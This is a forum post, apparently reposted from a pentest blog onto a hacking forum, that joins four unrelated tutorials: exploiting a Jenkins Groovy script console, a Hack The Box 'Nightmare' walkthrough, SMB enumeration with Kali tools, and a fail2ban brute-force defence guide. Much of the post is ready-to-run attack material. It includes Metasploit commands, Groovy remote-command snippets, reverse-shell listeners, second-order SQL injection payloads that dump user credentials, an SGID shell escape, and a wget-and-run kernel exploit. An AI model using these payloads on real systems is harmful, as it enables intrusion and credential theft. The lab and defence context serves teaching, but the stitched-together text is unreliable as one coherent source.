Login

**NINZA** · 05-14-2020, 11:08 AM

0			0

There were so many possibilities to exploit Jenkins however we were interested in Script Console because Jenkins has lovely Groovy script console that permits anyone to run arbitrary Groovy scripts inside the Jenkins master runtime.
Table of Content

Jenkins Groovy Script Console
Exploit Groovy Script Console using Metasploit
revsh.groovy
Groovy executing shell commands -I
Groovy executing shell commands -II

Jenkins Groovy Script Console
Jenkins features a nice Groovy script console which allows one to run arbitrary Groovy scripts within the Jenkins master runtime or in the runtime on agents. It is a web-based Groovy shell into the Jenkins runtime. Groovy is a very powerful language which offers the ability to do practically anything Java can do including:

Create sub-processes and execute arbitrary commands on the Jenkins master and agents.
It can even read files in which the Jenkins master has access to on the host (like /etc/passwd)
Decrypt credentials configured within Jenkins.
Granting a normal Jenkins user Script Console Access is essentially the same as giving them Administrator rights within Jenkins.

Source:

[To see content please register here]

Exploit Groovy Script Console using Metasploit
This module uses the Jenkins-CI Groovy script console to execute OS commands using Java.
use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set rhost 192.168.1.106
msf exploit(jenkins_script_console) > set rport 8484
msf exploit(jenkins_script_console) > set targeturi /
msf exploit(jenkins_script_console) > set target 0
msf exploit(jenkins_script_console) > exploit
1
2
3
4
5
6
use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set rhost 192.168.1.106
msf exploit(jenkins_script_console) > set rport 8484
msf exploit(jenkins_script_console) > set targeturi /
msf exploit(jenkins_script_console) > set target 0
msf exploit(jenkins_script_console) > exploit
Metasploit uses command stager to exploit against command injection.
[Image: 1.png?w=687&ssl=1]

Hence, you can observe, that it has given meterpreter session of the victim’s machine.
[Image: 2.png?w=687&ssl=1]

revsh.groovy
Suppose if you found Jenkins without login password or you are a normal user who has permission to access script console then you can exploit this privilege to get the reverse shell of the machine. At Jenkins Dashboard go to Manage Jenkins and then select Script Console.
[Image: 3.png?w=687&ssl=1]

At script console, you have full privilege to run any program code, therefore I try to execute following piece of code which I had taken from

[To see content please register here]

to get the reverse connection on my local machine via netcat listener.
[Image: 4.png?w=687&ssl=1]

nc -lvp 1234
1
nc -lvp 1234
Once the above script will be executed, it will give netcat session of the victim’s machine.
[Image: 5.png?w=687&ssl=1]

Groovy executing shell commands -I
Similarly, with the help of following the piece of code which I found from this

[To see content please register here]

, I try to create RCE for executing OS command through groovy script console.
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
1
2
3
4
5
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Once you will run the script, it will execute the command given inside the code. you can observe result where we have fetched network configuration due to ipconfig command.
[Image: 6.png?w=687&ssl=1]

Groovy executing shell commands -II
Similarly, I found another very small piece of code to exploit the Groovy Console from

[To see content please register here]

, which will generate RCE and execute the shell command.
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
1
2
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
Again you will run the script, it will execute the command given inside the code. you can observe result where we have fetched directory list due to dir command.
[Image: 7.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Nightmare”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Nightmare is 10.10.10.66
Penetrating Methodology

Network scanning (Nmap)
Browsing IP address through HTTP
Checking for SQL injection vulnerability
Exploiting Second-Order Injection
Login through SSH
Login through SFTP
Exploiting SFTP to gain a reverse shell
Discovering files with SGID bit set
Privileges escalation using “sls”
Finding exploit for kernel
Making changes to the exploit
Getting root privilege using the exploit
Getting the root flag

Walkthrough
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -sC -sV 10.10.10.66
1
nmap -sC -sV 10.10.10.66
[Image: 1.png?w=687&ssl=1]

The Nmap output shows us that there are 2 ports open: 80(HTTP), 2222(SSH)
We find that port 80 is running http, so we open the IP in our browser.
[Image: 2.png?w=687&ssl=1]

When we visit the webpage, we find a login page. After trying a few SQL injection commands we find that this page is vulnerable to “second-order SQL injection”. This means to exploit this vulnerability we have to register a user with our SQL injection query and then login with the same username.
First, we register a user with credentials “admin’): pass” using the register link on the login page. Now when we login using this user we get an SQL error on the web page.
[Image: 3.png?w=687&ssl=1]

After finding the web application is vulnerable to Second Order SQL Injection. We now find the number of columns. We register a user with the following credentials:
Username: admin ‘) order by 3#
Password: pass
1
2
Username: admin ‘) order by 3#
Password: pass
We keep the password same for the user we register.
[Image: 4.png?w=687&ssl=1]

Now when we login, we get an SQL error that means the table has less than three columns. So we again register a user using the following query:
admin ‘) order by 2#
1
admin ‘) order by 2#
[Image: 5.png?w=687&ssl=1]

When we login, we find that we do not have an SQL error that means the table has 2 columns.
Now we are going to find the version of SQL database it is running. To find the version of the database we are going to register with the following query:
admin') union select 1,@@version#
1
admin') union select 1,@@version#
[Image: 6.png?w=687&ssl=1]

After finding the version we now know that it is a MySQL database. Now we find the name of the database. To find the name of the database we register with the following query:
admin') union select 1,database()#
1
admin') union select 1,database()#
[Image: 7.png?w=687&ssl=1]

Now we get the database to be called “notes” but we want the names of all the databases on the server. So we register a user using the following query:
admin') union select 1,group_concat(distinct table_schema) from information_schema.tables#
1
admin') union select 1,group_concat(distinct table_schema) from information_schema.tables#
[Image: 8.png?w=687&ssl=1]

We get another database called “sysadmin”; we find the table names inside “sysadmin”. To find the table names with we register the user with the following query:
admin') union select 1,group_concat(distinct table_name) from information_schema.columns where table_schema="sysadmin"#
1
admin') union select 1,group_concat(distinct table_name) from information_schema.columns where table_schema="sysadmin"#
[Image: 9.png?w=687&ssl=1]

We find two tables called “users” and “configs”; we now find the column name inside “users” table. To find the column names we register a user with the following query:
admin') union select 1,group_concat(distinct column_name) from information_schema.columns where table_schema="sysadmin" and table_name="users"#
1
admin') union select 1,group_concat(distinct column_name) from information_schema.columns where table_schema="sysadmin" and table_name="users"#
[Image: 10.png?w=687&ssl=1]

Now we find two columns called “username” and “password”. To find the data inside the columns we are going to register a user with the following query:
admin') union select 1,group_concat(username,0x7c,password,0x0a) from sysadmin.users#
1
admin') union select 1,group_concat(username,0x7c,password,0x0a) from sysadmin.users#
[Image: 11.png?w=687&ssl=1]

Now we find different username passwords; we try to login through SSH using these credentials and find that we were able to login using the credentials “ftpuser Angry

whereyougo?” . We are unable to get a shell using SSH, instead, we tried to connect using sftp and were successfully able to login.
ssh -p 2222 [email protected]
sftp -p 2222 [email protected]
1
2
ssh -p 2222 [email protected]
sftp -p 2222 [email protected]
[Image: 12.png?w=687&ssl=1]

Now as we are not able to get a shell using SSH, we tried to find sftp exploit and were able to find an exploit. You can download the exploit from

[To see content please register here]

.

We made changes to the exploit so that we can get a reverse shell.
[Image: 13.2.png?w=687&ssl=1]

After making changes to the exploit, we set up our listener using netcat and then run the script.
python sftp-exploit.py
1
python sftp-exploit.py
[Image: 13.png?w=687&ssl=1]

On our listener, we get a reverse shell.
nc -lvp 443
1
nc -lvp 443
[Image: 14.png?w=687&ssl=1]

After getting the reverse shell we spawn a TTY shell. Then inside /home/decoder/ directory we find a directory called “test” and user called “user.txt”. As they belong to the “decoder” group, we find files that belong to the “decoder” group.
python -c "import pty; pty.spawn('/bin/bash')"
find / -group "decoder" 2>/dev/null
1
2
python -c "import pty; pty.spawn('/bin/bash')"
find / -group "decoder" 2>/dev/null
[Image: 15.png?w=687&ssl=1]

Now running the sls command we find that it is a binary file that is running ls command. It also has an SGID bit set, so we can abuse this to escalate our privilege.
[Image: 16.1.png?w=687&ssl=1]

We use strings command to check the binary and find that it is using system function to execute the “ls” command.
strings /usr/bin/sls
1
strings /usr/bin/sls
[Image: 16.png?w=687&ssl=1]

Now as ls command is executed inside system function; we are going to use -b argument to execute our command.
sls -b '
bash -p'
1
2
sls -b '
bash -p'
After getting a shell we run “id” command and find that we have spawned a shell as user “decoder”. We now can open “user.txt” file and find the first flag.
[Image: 18.png?w=687&ssl=1]

Enumerating the system we now check the kernel version to check if there is an exploit available for privilege escalation.
uname -a
1
uname -a
[Image: 19.png?w=687&ssl=1]

We find that the version of the kernel is vulnerable to this exploit

[To see content please register here]

.

We download the code on our machine and compile it using gcc. Then we start python http server and send the compiled exploit file to the target machine. When we run the exploit we are unable to get a privileged shell as it shows an error saying that the kernel version is not recognized.
In Kali machine:
gcc -o priv 43418.c
python -m SimpleHTTPServer 80
1
2
gcc -o priv 43418.c
python -m SimpleHTTPServer 80
On target machine:
wget

[To see content please register here]

chmod +x priv
./priv
1
2
3
wget

[To see content please register here]

chmod +x priv
./priv
[Image: 21.png?w=687&ssl=1]

Now we have to make a few changes for the exploit to work. So we opened the c file again and make the changes.
[Image: 22.1.png?w=687&ssl=1]

Now we again compile and send the file to the target machine. This time when we run the file we get an error saying permission denied on set_groups.
[Image: 22.3.png?w=687&ssl=1]

So we exited the shell and ran the exploit as ftpuser. As soon as we run the exploit we get a root shell.
[Image: 22.png?w=687&ssl=1]

We go to /root directory and find a file called “root.txt”. When we open the file we get the final flag.
[Image: 23.png?w=687&ssl=1]

Enumeration is a very essential phase of Penetration testing, because when a pentester established an active connection with the victim, then he tries to retrieve as much as possible information of victim’s machine, which could be useful to exploit further.
In this article, we had explored SMB enumeration using Kali Linux inbuilt command-line tools only.
Table of Content

Nmblookup
nbtscan
SMBMap
Smbclient
Rpcclient
Nmap
Enum4linux

nmblookup
nmblookup is used to query NetBIOS names and map them to IP addresses in a network using NetBIOS over TCP/IP queries. The options allow the name queries to be directed at a particular IP broadcast area or to a particular machine. All queries are done over UDP.
nmblookup -A 192.168.1.103
1
nmblookup -A 192.168.1.103
nmblookup is a helpful command for enumerating domain/workstation and MAC address. NetBIOS work with the help of NetBIOS suffixes as a state following information:
For unique names:
00: Workstation Service (workstation name)
03: Windows Messenger service
06: Remote Access Service
20: File Service (also called Host Record)
21: Remote Access Service client
1B: Domain Master Browser – Primary Domain Controller for a domain
1D: Master Browser
For group names:
00: Workstation Service (workgroup/domain name)
1C: Domain Controllers for a domain
1E: Browser Service Elections
[Image: 2.png?w=687&ssl=1]

nbtscan
This is a command utility that tries to scan NetBIOS name servers open on a local or remote TCP/IP network and because it is a first step in finding open shares. It is created on the functionality of the Windows standard tool “nbtstat”, and it works on a whole subnet instead of individual IP.
nbtscan 192.168.1.1/24
1
nbtscan 192.168.1.1/24
As you can observe it has dumped almost the same result as above, but the most important fact is that it enumerates the whole subnet.
[Image: 3.1.png?w=687&ssl=1]

SMBMap
SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind and is intended to simplify searching for potentially sensitive data across large networks.
smbmap -H 192.168.1.102
smbmap -H 192.168.1.102 -d metasploitable -u msfadmin -p msfadmin
1
2
smbmap -H 192.168.1.102
smbmap -H 192.168.1.102 -d metasploitable -u msfadmin -p msfadmin
As you can observe, this tool not only shows share files even show their permission. If you will notice the second command then you will perceive that it has shown permission for user “msfadmin”.
[Image: 3.png?w=687&ssl=1]

Smbclient
smbclient is a client that can ‘talk’ to an SMB/CIFS server. It offers an interface similar to that of the FTP program. Operations include things like getting files from the server to the local machine, putting files from the local machine to the server, retrieving directory information from the server and so on.
smbclient -L 192.168.1.102
smbclient //192.168.1.102/tmp
1
2
smbclient -L 192.168.1.102
smbclient //192.168.1.102/tmp
As you can observe with the help of smbclient we are able to view the shared folder of victim’s machine. Moreover, we can use smbclient for sharing the file in the network. Here you can observe we had login successfully using anonymous login and transferred the user.txt file.
[Image: 4.png?w=687&ssl=1]

Rpcclient
rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself. It has undergone several stages of development and stability. Many system administrators have now written scripts around it to manage Windows NT clients from their UNIX workstation.
We can use rpcclient to open an authenticated SMB session to a target machine by running the below command on our system where we have used a NULL Session, as we have entered a username of “”.
rpcclient -U "" -N 192.168.1.102
enumdomusers
1
2
rpcclient -U "" -N 192.168.1.102
enumdomusers
Further, we had use enumerate user command, and you can see the usernames as well as their RID (the suffix of their SID) in hexadecimal form.
[Image: 5.png?w=687&ssl=1]

We have to use the queryuser command to catch-all kinds of information related to an individual user based uniquely on the users RID in hex form, here RID: 0x3e8 denotes root user account.
queryuser 0x3e8
1
queryuser 0x3e8
Here note that the output result shows the last logon time for the user root, as well as the Password last set Time. Such kind of things is very valuable for penetration testers. And, this all can be achieved without an admin username and password.
[Image: 6.png?w=687&ssl=1]

Nmap
Following Script attempts to detect if a Microsoft SMBv1 server is vulnerable to a remote code execution vulnerability (ms17-010, a.k.a. EternalBlue). The vulnerability is actively exploited by WannaCry and Petya ransomware and other malware.
nmap --script smb-vuln* -p 139,445 192.168.1.103
1
nmap --script smb-vuln* -p 139,445 192.168.1.103
The script connects to the $IPC tree, executes a transaction on FID 0 and checks if the error “STATUS_INSUFF_SERVER_RESOURCES” is returned to determine if the target is not patched against ms17-010. Additionally, it checks for known error codes returned by patched systems.
From the given below image you can observe, it found the target machine is vulnerable to ms17-010 due to SMBv1.
[Image: 7.png?w=687&ssl=1]

Enum4linux
Enum4linux is a tool for enumerating information from Windows and Samba systems. It attempts to offer similar functionality to enum.exe formerly available from

[To see content please register here]

.
It is written in Perl and is basically a wrapper around the Samba tools smbclient, rpclient, net, and nmblookup.
Key features:

RID cycling (When RestrictAnonymous is set to 1 on Windows 2000)
User listing (When RestrictAnonymous is set to 0 on Windows 2000)
Listing of group membership information
Share enumeration
Detecting if the host is in a workgroup or a domain
Identifying the remote operating system
Password policy retrieval

enum4linux -a 192.168.1.102
1
enum4linux -a 192.168.1.102
As you can observe, it has shown target belongs to Workgroup and dump NetBIOS name along with their suffix and much more information.
[Image: 8.png?w=687&ssl=1]

Also, perform enumerate user along with their RID in hexadecimal form with the help of rpcclient. Hence enum4linux is Swiss-knife when it comes to performing enumeration. But it cannot identify SMB vulnerability like Nmap.
[Image: 9.png?w=687&ssl=1]

Daily we hear some news related to cybercrime just, like, some malicious users or bots have successfully defaced some publicly accessible websites or some services. As we always try to explain through our articles, how such types of activities are possible when the system is weakly configured or misconfigured. It is therefore important to build some security measures, such as IDS / IPS in the firewall, to defend your server and clients while configuring it.
In this article, we will show how you can protect your network from brute force attacks and running network services?
The answer is: Using IPS in your network.
Table of Content

What is an IPS?
Introduction to fail2ban
Lab Setup Requirement
Brute Force Attack in Absence of IPS
Intrusion Prevention Lab Set-Up
Configure Fail2Ban
Protect SSH Against Brute Force Attack
Testing Fail2ban
How to unban IP in fail2ban for SSH
Protect FTP against Brute Force Attack
Testing Fail2ban for VSFTP
Unban IP for VSFTPD

What is an IPS?
Intrusion Prevention System is short-term as IPS, it networks security measures to examine the incoming traffic to perform intrusion detection and then block the detected incidents. For example, IPS can drop malicious packets, ban the traffic coming from an offending IP address.
Introduction to fail2ban
Fail2ban scans log files (e.g. /var/log/apache/error_log) and ban IPs that show the malicious signs — too many password failures, seeking for exploits, etc. Generally, Fail2Ban is then used to update firewall rules to reject the IP addresses for a specified amount of time.
In this article, I will discuss how to prevent your running services against brute force attack using fail2ban.
Source:

[To see content please register here]

Lab Setup Requirement
Victim’s Machine: Ubuntu 14.04 (192.168.0.105)
Pentester’s Machine: Kali Linux (192.168.0.105)
Brute Force Attack in Absence of IPS
Now let’s try to launch a brute force attack when on port 22 which is open in the target’s network to make unauthorized login. With the help hydra, we will try to guess SSH login credential.
hydra -L user.txt -P pass.txt 192.168.0.105 ssh
1
hydra -L user.txt -P pass.txt 192.168.0.105 ssh
[Image: 0.1.png?w=687&ssl=1]

As you can observe in the above image that it has successfully found aarti:123 for ssh login. Similarly, let’s try to launch a brute force attack when on port 21 which is open in the target’s network to make unauthorized login. With the help hydra, we will try to guess FTP login credential.
hydra -L user.txt -P pass.txt 192.168.0.105 ftp
1
hydra -L user.txt -P pass.txt 192.168.0.105 ftp
And from the given below image, you can observe, how badly these services are configured. Even the network administrator has not followed the password complexity rules as a result, it is so easy to launch a brute force against such type of network.
[Image: 0.2.png?w=687&ssl=1]

Intrusion Prevention Lab Set-Up
Therefore, I decided to set up the Intrusion Prevention system in this network which will monitor the incoming packets and detects the malicious activities and blocks that traffic coming from wicked IP. It is very easy to install fail2ban as Ubuntu already has a package for fail2ban in apt-repositories.
First of all, let me show you, the iptables rule list, which is empty as shown in the below image and then executes the installation command. Once it gets completed, then copy the configuration of jail.conf file inside jail.local file.
sudo iptables -S
sudo apt-get install fail2ban
1
2
sudo iptables -S
sudo apt-get install fail2ban
NOTE: While configuring fail2ban in your local machine, you must have root access or can use a non-root user with sudo rights.
[Image: 1.png?w=687&ssl=1]

Configure Fail2Ban
The service fail2ban has its default configuration files “jail.local” in the /etc/fail2ban directory, therefore, you should not edit this file, but you can override this into jail.local file with the help of below command and then open that file for configuring it as per your requirement.
Above you have seen that we had successfully launched brute force attack on SSH and FTP, therefore I will configure fail2ban to stop brute force attack in the network.
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo gedit /etc/fail2ban/jail.local
1
2
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo gedit /etc/fail2ban/jail.local
Once the file gets opened you need to focus a few things such as “ignoreip, bantime, maxretry” and then modify their value as per your requirement. Set the IPs you want fail2ban to ignore as ignoreip, set the ban time (in seconds) for a particular time period and maximum number for the user attempts.
ignoreip = 192.168.0.105 127.0.0.1
bantime = 600
maxretry = 3
1
2
3
ignoreip = 192.168.0.105 127.0.0.1
bantime = 600
maxretry = 3
[Image: 3.png?w=687&ssl=1]

Protect SSH Against Brute Force Attack
Ultimately, we come towards that portion of the configuration file which deals with specific services. These are identified by the section headers, such as [ssh].
To enable each of these sections to uncomment header [ssh] and modify the enabled value into “true” as shown in the below image, and then save the jail.local file and restart the fail2ban service:
[ssh]
enabled = true
service fail2ban restart
1
2
3
[ssh]
enabled = true
service fail2ban restart
[Image: 4.png?w=687&ssl=1]

Testing Fail2ban for SSH
Fail2ban offers a command “fail2ban-client” that can be used to execute Fail2ban from the command line, to check that the Fail2Ban is running and the SSH jail is enabled you can follow the given syntax to confirm its status.
Syntax: fail2ban-client COMMAND
sudo fail2ban-client status
sudo fail2ban-client status ssh
1
2
sudo fail2ban-client status
sudo fail2ban-client status ssh
As you can observe, the current filter list and action list is set as 0 or all I can say, it is empty. These values will get change if someone tries to cross the limit of maxretry.
[Image: 5.png?w=687&ssl=1]

As said above fail2ban will update iptables rules to reject the IP addresses for a specified amount of time and from the given below image you can observe, last 3 policies are automatically created by fail2ban.
[Image: 6.1.png?w=687&ssl=1]

Now let’s test host machine against brute force attack for ssh login once again:
hydra -L user.txt -P pass.txt 192.168.0.105 ssh
1
hydra -L user.txt -P pass.txt 192.168.0.105 ssh
[Image: 6.png?w=687&ssl=1]

And as you can obverse, this time we got “Connection refused” error while brute forcing attack on port 22.
Hmm!! Not bad, let’s also check the status for ssh jail status after this attack.
sudo fail2ban-client status ssh
1
sudo fail2ban-client status ssh
Now you can observe that in the given below image, it has shown 1 ban IP: 192.168.0.104 and anybody can explore log file too for more details.
tail /var/log/auth.log
1
tail /var/log/auth.log
[Image: 7.png?w=687&ssl=1]

How to unban IP in fail2ban for SSH
If you wish to unban the IP then again, you can go with fail2ban-client commands and do the same as done here:
fail2ban-client -i
set ssh unbanip 192.168.0.104
exit
sudo fail2ban-client status ssh
1
2
3
4
fail2ban-client -i
set ssh unbanip 192.168.0.104
exit
sudo fail2ban-client status ssh
And when you will check ssh jail status one more time, this time it won’t be showing any IP in the IP list.
[Image: 8.png?w=687&ssl=1]

Protect FTP against Brute Force Attack
Similarly, to enable FTP sections to uncomment [vsftpd] header and change the enabled line to be “true” as shown in the below image and even you can modify maxretry or log file path as per your requirement.
[vsftpd]
enabled = true
maxretry = 3
[Image: 10.png?w=687&ssl=1]

Testing Fail2ban for VSFTPD
Now save jail.local file and restart the fail2ban service and then you can check fail2ban and its Jail status including iptables rules.
sudo service fail2ban restart
sudo fail2ban-client status
sudo fail2ban-client status vsftpd
iptables -S
1
2
3
4
sudo service fail2ban restart
sudo fail2ban-client status
sudo fail2ban-client status vsftpd
iptables -S
With the help of the above command, we concluded that now there are two jails: ssh and vsftpd and also some new fail2ban policies have been created within iptables.
[Image: 11.png?w=687&ssl=1]

Now let’s test host machine against brute force attack for FTP login:
hydra -L user.txt -P pass.txt 192.168.0.105 ftp
1
hydra -L user.txt -P pass.txt 192.168.0.105 ftp
[Image: 12.1.png?w=687&ssl=1]

And as you can obverse, this time we got connection refused error while brute force attack and let’s check status for vsftpd jail status once again.
sudo fail2ban-client status vsftpd
1
sudo fail2ban-client status vsftpd
Yet again you can observe that in the given below image, it has shown 1 ban IP: 192.168.0.104 and anybody can check log file too for more details.
tail /var/log/vsftpd.log
1
tail /var/log/vsftpd.log
[Image: 12.png?w=687&ssl=1]

And look at the vsftpd log file, contains all detailed related to login attempt.
[Image: 13.png?w=687&ssl=1]

Unban IP in fail2ban for VSFTPD
If you wish to unban or unblock the IP then again, you can go with fail2ban-client commands and do the same as done here:
sudo fail2ban-client -i
set vsftpd unbanip 192.168.0.104
exit
sudo fail2ban-client status vsftpd
1
2
3
4
sudo fail2ban-client -i
set vsftpd unbanip 192.168.0.104
exit
sudo fail2ban-client status vsftpd
And when you will check vsftpd jail status once again, this time it won’t be showing any IP in the IP list.
[Image: 14.png?w=687&ssl=1]

Hope! You people will enjoy the article and find helpful in your network penetration testing and you can do more with fail2ban for securing your network.

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis